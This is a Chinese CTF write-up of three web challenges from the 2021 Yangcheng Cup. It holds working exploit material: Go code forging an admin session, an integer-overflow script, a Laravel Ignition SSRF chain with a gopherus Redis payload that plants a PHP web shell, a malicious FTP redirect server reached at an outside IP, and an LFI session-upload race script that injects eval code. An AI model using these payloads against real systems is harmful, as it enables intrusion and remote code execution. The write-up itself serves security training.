2021羊城杯WP-Web部分


web

Checkin_Go

源码下载下来发现是go语言写的
首先需要登录,用户名密码任意填,用户名不能是admin,爆破md5

admin伪造:因为math/rand的问题,是伪随机数,本地写个gin的web服务,同样的方式生层session,构造admin的session,拿到cookie去替换题目的,这是admin了,就能去溢出了

package main

import (
        "github.com/gin-contrib/sessions"
        "github.com/gin-contrib/sessions/cookie"
        "github.com/gin-gonic/gin"
        "math/rand"

)

func main() {
        storage := cookie.NewStore(randomChar(16))

        r := gin.Default()
        r.Use(sessions.Sessions("o", storage))

        r.GET("/", func(c *gin.Context) {
                session := sessions.Default(c)
                session.Set("uname", "admin")
                session.Save()

                c.JSON(200, gin.H{
                        "statue": "200",
                })
        })

        r.Run("0.0.0.0:8888")
}

func randomChar(l int) []byte {
        output := make([]byte, l)
        rand.Read(output)
        return output
}

测试一下,替换后可以溢出了,每次-1.
跑脚本:

import requests
import re

burp0_url = "http://192.168.39.9:8088/play/add"
my_cookies = {"o": "MTYzMTM2NzE1MHxEdi1CQkFFQ180SUFBUkFCRUFBQV85bl9nZ0FGQm5OMGNtbHVad3dIQUFWMWJtRnRaUVp6ZEhKcGJtY01Cd0FGWVdSdGFXNEdjM1J5YVc1bkRBb0FDRzV2ZDAxdmJtVjVCblZwYm5Rek1nWUVBUDRYQ0FaemRISnBibWNNRHdBTlkyaGxZMnRPYjNkTmIyNWxlUVp6ZEhKcGJtY01HQUFXY0ZFNWMydDVTVmhQY0U0MlVWSnBibFkxVm1wYVFRWnpkSEpwYm1jTURRQUxjR3hoZVdWeVRXOXVaWGtEYVc1MEJBUUFfaWNRQm5OMGNtbHVad3dTQUJCamFHVmphMUJzWVhsbGNrMXZibVY1Qm5OMGNtbHVad3dZQUJaUGJVaFJPSEJDTW1ScGQxaExlRE5TVFdoS1NsVjN8F5SjofI_A2CFFR8Tm1IICvsWzSlR007XlhP07MafLHY="}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.39.9:8088", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.39.9:8088/game", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"addMoney": "4294967295"}


for i in range(2000):
    data = requests.post(burp0_url, headers=burp0_headers, cookies=my_cookies, data=burp0_data).headers
    data_header = data['Set-Cookie']
    new_cookie = re.findall('o=(.*?);', data_header)[0]
    my_cookies = {'o': new_cookie}
    if i % 1000 == 0:
        print(new_cookie)
    # requests.get("http://192.168.39.9:8088/game", headers=burp0_headers, cookies=my_cookies, data=burp0_data)

足够低了直接买

Cross The Side

参考:https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/

存在一个SSRF的利用,fuzz一下端口,存在6379

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "http://127.0.0.1:6379/"
  }
}

使用gopherus生成攻击redis的payload:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

搭建一个恶意的ftp服务,并将上面的payload中的数据替换掉下面ftp脚本中的payload的内容:

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashele.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 81,69,41,100,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,24,235\n")  # 端口计算规则:24*256+235=6379

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

开启了,然后去构造请求,触发:

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "ftp://aaa@81.69.41.100:23/123"
  }
}

Sangfor{jXkygJFsJduIbOKGs5W6bQWrLOblnzLH}

only4

既然有文件包含,确定一下php session的位置
http://192.168.39.9:8000/?gwht=php://filter/read=convert.base64-encode/resource=/etc/php5/cli/php.ini

;session.save_path = "/var/lib/php5"

参考这篇文章:https://ca01h.top/Web_security/php_related/13.session.upload_progress+LFI%E5%AE%9E%E7%8E%B0RCE/

import requests
import io
import threading

url = """http://192.168.39.9:8000/"""
sessid = "ca01h"
data = {"cmd": "system('ls');"}
proxy = {"http": "127.0.0.1:8080"}


def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024)
        resp = session.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST);?>"},
                            files={"file": ("ca01h.txt", f)}, cookies={"PHPSESSID": sessid}, proxies=proxy)


def read(session):
    while True:
        resp = session.post(url=url+"?gwht=../../../../../../var/lib/php5/sess_"+sessid, data=data, proxies=proxy)
        if "ca01h.txt" in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[++++++]Retry")


if __name__ == '__main__':
    event = threading.Event()
    with requests.session() as session:
        for i in range(30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录